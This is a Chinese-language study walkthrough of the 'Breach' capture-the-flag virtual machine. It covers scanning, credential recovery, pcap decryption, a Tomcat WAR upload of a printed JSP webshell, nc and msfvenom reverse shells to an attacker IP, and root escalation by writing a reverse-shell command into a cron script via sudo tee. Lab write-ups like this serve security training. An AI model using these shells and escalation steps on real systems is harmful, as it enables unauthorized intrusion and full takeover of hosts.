Breach靶机-学习笔记
0x01 信息收集
1 . 工具
arp-scan、nmap、masscan
2. 主机探测
arp-scan(ARP 扫描和指纹识别工具):可以构建并发送ARP请求到指定的IP地址,并且显示返回的任何响应。arp-scan可用来发现本地网络上的IP主机。它可以发现所有主机,包括那些已经阻止所有IP访问,如已经打开防火墙和系统入口过滤器的主机。
nmap:一款网络扫描和主机侦测的非常有用的工具。
- nmap ip:如果是root用户,无参数扫描等价于 sS 参数扫描(SYN,半连接);否则,无参数扫描等价于 sT 参数扫描(TCP,完整连接)。
- nmap -p端口号 IP地址: p 参数表示端口,标准写法后面跟的端口号之间没有空格。但是如果写一个空格也并无妨。
- -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
- -sn: Ping Scan 只进行主机发现,不进行端口扫描。
- -Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
- -PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
- -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
- -PO[protocollist]: 使用IP协议包探测对方主机是否开启。
- -sP:Ping 指定范围内的 IP 地址
- -n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
- –dns-servers <serv1[,serv2],…>: 指定DNS服务器。
- –system-dns: 指定使用系统的DNS服务器
- –traceroute: 追踪每个路由节点
masscan:是为了尽可能快地扫描整个互联网而创建的,根据其作者robert graham,这可以在不到6分钟内完成,每秒大约1000万个数据包。
masscan ip -p0-65535 - rate 1000000
主机探测:
arp-scan -l
扫描结果:
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.110.1 00:50:56:c0:00:01 VMware, Inc.
192.168.110.140 00:0c:29:f9:df:8b VMware, Inc.
192.168.110.254 00:50:56:e0:46:73 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.322 seconds (110.25 hosts/sec). 3 responded
其中192.168.110.140为我们的目标靶机
nmap -sn 192.168.110.0/24
root@kali:~# nmap -sn 192.168.110.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-07 09:48 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.110.1
Host is up (0.00016s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.110.140
Host is up (0.00017s latency).
MAC Address: 00:0C:29:F9:DF:8B (VMware)
Nmap scan report for 192.168.110.254
Host is up (0.000099s latency).
MAC Address: 00:50:56:E0:46:73 (VMware)
Nmap scan report for 192.168.110.119
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.01 seconds
masscan -p0-65535 192.168.110.0/24 --rate==10000
root@kali:~# masscan -p0-65535 192.168.110.140 --rate==1000
CONF: non-digit in rate spec: rate==1000
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-07 13:58:38 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
rate: 0.10-kpps, 21.00% done, 0:09:01 remaining, found=0 rate: 0.10-kpps, 21.09% done, 0:09:03 remrate: 0.10-kpps, 86.86% done, 0:01:18 remaining, found=0 rate: 0.10-kpps, 86.96% done, 0:01:25 rem
3. 端口扫描
使用nmap进行端口扫描:
nmap -p0-65535 192.168.110.140
64676/tcp open unknown
64677/tcp open unknown
64678/tcp open unknown
64679/tcp open unknown
64680/tcp open unknown
64681/tcp open unknown
64682/tcp open unknown
64683/tcp open unknown
64684/tcp open unknown
64685/tcp open unknown
64686/tcp open unknown
64687/tcp open unknown
64688/tcp open unknown
64689/tcp open unknown
64690/tcp open unknown
64691/tcp open unknown
64692/tcp open unknown
64693/tcp open unknown
64694/tcp open unknown
扫描显示所有端口打开
这里在介绍一个python的套件工具:
sparta: 是一款可以通过帮助渗透测试者分阶段扫描和枚举来简化网络基础设施渗透测试的python GUI应用。通过指向和点击这些工具套件以及简便地显示所有工具扫描结果来允许测试者节省时间。花越少的时间在设置命令和工具上,就可以有更多的时间花在聚焦分析结果上。
可以直接在kali 搜索SPARTA,或者在 applications—information gathering –sparta 运行打开。
将192.168.110.140加入后进行扫描,进行扫描后,可以看到services每个端口运行的服务,以及使用nikto扫描的结果,同时还有screenshot抓取的80端口网站的相应的banner图。这个工具还支持将扫描的端口直接发送到九头蛇进行一个爆破(ssh等),通过这个工具我们并没有将mysql以及ssh爆破出来密码。同时这个工具还可以探测到网页的截屏。
0x02 漏洞挖掘
1.根据提示信息登录cms后台
根据上面sparta扫描的nikto模块我们可以看到:
- Nikto v2.1.6
- Target IP: 192.168.110.140 - Target Hostname: 192.168.110.140 - Target Port: 80 - Start Time: 2019-07-08 05:07:06 (GMT-4) ------ - Server: Apache/2.4.7 (Ubuntu) - Server leaks inodes via ETags, header found with file /, fields: 0x44a 0x534a04f49139d - The anti-clickjacking X-Frame-Options header is not present. - The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS - The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type - No CGI Directories found (use '-C all' to force check all possible dirs) - IP address found in the 'location' header. The IP is "127.0.1.1". - OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/". - Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. - Allowed HTTP Methods: GET, HEAD, POST, OPTIONS - OSVDB-3268: /images/: Directory indexing found. - OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found. - OSVDB-3233: /icons/README: Apache default file found. - 7535 requests: 0 error(s) and 11 item(s) reported on remote host - End Time: 2019-07-08 05:07:26 (GMT-4) (20 seconds) ------ - 1 host(s) tested
上面只是扫描到一个images文件夹,貌似没有什么有用的线索,在ctf中,通常在html中含有一些重要的注释,按F12打开源码,发现存在一个注释
绿色的应该是一个加密字符串,通过burpsuit或者一些在线解密的网站进行一个解密,进行二次base64解密之后
得到了一个pgibbons:damnitfeel$goodtobeagang$ta,貌似是一个密码,然后点击图片跳转到http://192.168.110.140/initech.html
,然后在源码中看到需要
大概就是有个邮件有很重要的内容,然后我们在burpsuit进行一个爬虫爬取,
发现存在一个impresscms的路径,impresscms是一个开源的cms而且版本是2017年的,先搜索下是否存在已知漏洞,exploit-db.com查找impress cms漏洞:发现ImpressCMS 1.3.9 SQL注入漏洞 : https://www.exploit-db.com/exploits/46239
,但是该页面目前没有权限访问,无法进行注入。
刚才源码注释中提示,有一个重要的邮件比较重要,我们打开192.168.110.140/impresscms
发现有个登录的表单,前面我们解密了一个疑似密码的字符串,将其输入pgibbons:damnitfeel$goodtobeagang$ta
,其中前面pgibbons是用户名,damnitfeel$goodtobeagang$ta是密码,登入后。根据刚才的提示,有邮件很重要,打开三封邮件,其中一封
主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore,访问路径下载ssl证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式。我们在右侧的搜索框搜索ssl,发现一个content
大概意思就是存在一个红队攻击留下的pcap的包,然后告诉了这个包的路径,”They told me the alias, storepassword and keypassword are all set to ‘tomcat’ “ 别名、Keystore密码、key密码都设置成 tomcat。`
由此推测:a.这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;b.系统中可能存在tomcat。
接下来下载这个
http://192.168.110.140/impresscms/_SSL_test_phase1.pcap`。
2.抓取密钥进入tomcat管理后台
导入流量抓包文件、SSL证书到Wireshark
- 查看keystore这个密钥库里面的所有证书,命令
keytool --list -keystore keystore
- 从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12 的证书,命令:
keytool -v -importkeystore -srckeystore keystore -srcalias tomcat -destkeystore myp12file.p12 -deststoretype PKCS12
- 将.p12证书导入Wireshark,将证书导入Wireshark:在Wireshark中打开流量包文件_SSL_test_phase1.pcap,选择菜单:编辑—–>首选项—->Protocols—->SSL,点击右边的Edit,输入:192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat
导入后可以看到解密的数据,发现tomcat的后台地址
接下来选中这个包,然后右击鼠标点击follow,跟踪http流,发现base64编码的用户名密码,
将 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
进行解码,得到Tomcat登录用户名密码为,用户名tomcat,密码:Tt\5D8F(#!*u=G)4m7zB
0x03 登录tomcat后台拿shell
tomcat管理地址为:https://192.168.110.140:8443/_M@nag3Me/html
,登陆后,然后部署war包getshell.
1.制作war后门
jsp木马:
<%@ page import="java.util.*,java.io.*" %>
<% if (request.getremoteaddr() !="4.4.4.4" ) { response.senderror(httpservletresponse.sc_not_found) return; } %>
Laudanum JSP Shell
Commands with JSP
<% if (request.getparameter("cmd") !="null)" { out.println("command: " + request.getparameter("cmd") "
");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
%>
Copyright © 2012, Kevin Johnson and the Laudanum team.
Written by Tim Medin.
Get the latest version at laudanum.secureideas.net.
%>%@>
将jsp木马压缩,然后修改后缀名为war。上传。但是成功可以连接,但是当过一两分钟,发现webshell就会被消失,估计是存在杀软或者其他的东东。那么我们只能进行一个反弹shell了
2.反弹shell
反弹shell的几种方式:https://www.anquanke.com/post/id/87017
0x01 通过nc反弹shell
在kali上我们进行一个监听,nc -lvp 5555
,然后在上面的webshell中执行:nc -e /bin/bash 192.168.110.139 5555
,成功获取cmdshell,
0x02 通过bash反弹shell
0x03 通过python反弹
0x04 通过msf反弹
先生成jsp木马:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.139 LPORT=1234 R >text.jsp
然后msf设置监听:
use exploit/multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST 192.168.110.139
set LPORT 1234
set ExitOnSession false
exploit -j -z
然后将jsp进行压缩修改压缩名为war后缀,上传后访问192.168.110.140/text/text.jsp
,成功弹出shell
0x04 提升权限
由于nc是交互式shell,很多时候不够友好,经常使用前各种方法进行虚拟终端环境获取的话,会发现存在一个问题,就是我们即使获取了目标虚拟终端控制权限,但是往往会发现交互性非常的差,就是发现这个虚拟回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种:
问题1: 获取的虚拟终端没有交互性,我们想给添加的账号设置密码,无法完成。
问题2:标准的错误输出无法显示,无法正常使用vim等文本编辑器等;
问题3: 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。
我们使用python的pty模块,来获取一个标准的虚拟终端环境
python -c 'import pty;pty.spawn("/bin/bash")'
,
命令详解:python 默认就包含有一个pty的标准库。
1.信息收集
使用cat /etc/passwd
获取本地用户信息,
tomcat6@Breach:~$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
tomcat6:x:104:112::/usr/share/tomcat6:/bin/false
colord:x:105:114:colord colour management daemon,,,:/var/lib/colord:/bin/false
mysql:x:106:116:MySQL Server,,,:/nonexistent:/bin/false
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash
查看内核版本找找提权漏洞,发现并没有。
查看网站的配置信息:
cd /var/www/5446
ls
cat fe
可以看到数据库的密码
然后登陆数据库;
然后解密milton的密码为:
2.在根目录没有发现什么有用信息,然后查看当前账号历史运行过的命令:cat .bash_history
发现运行过su blumbergh
,同时使用sudo -l
,列出目前用户可执行与无法执行的指令.
发现不能使用sudo,估计是权限不够,然后我们继续查找线索。
记得我们用nikto扫描到一个文件夹,当时是一些图片,将这些图片进行下载,然后探测其元信息,发现
其中注释coffeestains可能是blumbergh的密码,尝试登陆,nice!!!
继续收集信息,查看当前用户blumbergh的命令历史记录,发现
cd /usr/share/cleanup和cat tidyup.sh,
发现sh脚本会删除我们上传的webshell。
使用sudo -l,列出目前用户可执行与无法执行的指令
blumbergh@Breach:/usr/share/cleanup$ sudo -l
sudo -l
Matching Defaults entries for blumbergh on Breach:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User blumbergh may run the following commands on Breach:
(root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh
使用ls -l /usr/share/cleanup/tidyup.sh
,查看脚本权限,发现root用户具有写权限,其他用户只有可执行权限
blumbergh@Breach:/usr/share/cleanup$ ls -l tidyup.sh
ls -l tidyup.sh
-rwxr-xr-x 1 root root 289 Jun 12 2016 tidyup.sh
2.使用配置不当提权
因为blumbergh可以使用root的权限执行/usr/bin/tee,然而tee可以修改文件tidyup.sh,所以我们就可以将我们的恶意命令写入tidyup.sh,这个脚本三分钟就会执行,就会反弹出shell,而这个shell也就因为脚本的权限就是一个root权限的shell.先切换到根目录,因为/usr/share/cleanup中我们没有写入权限:
echo "nc -e /bin/bash 192.168.110.139 8888" > shell.txt
然后使用
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
将其写入,
打印tidyup.sh内容
然后kali 进行监听,
执行脚本,弹回shell。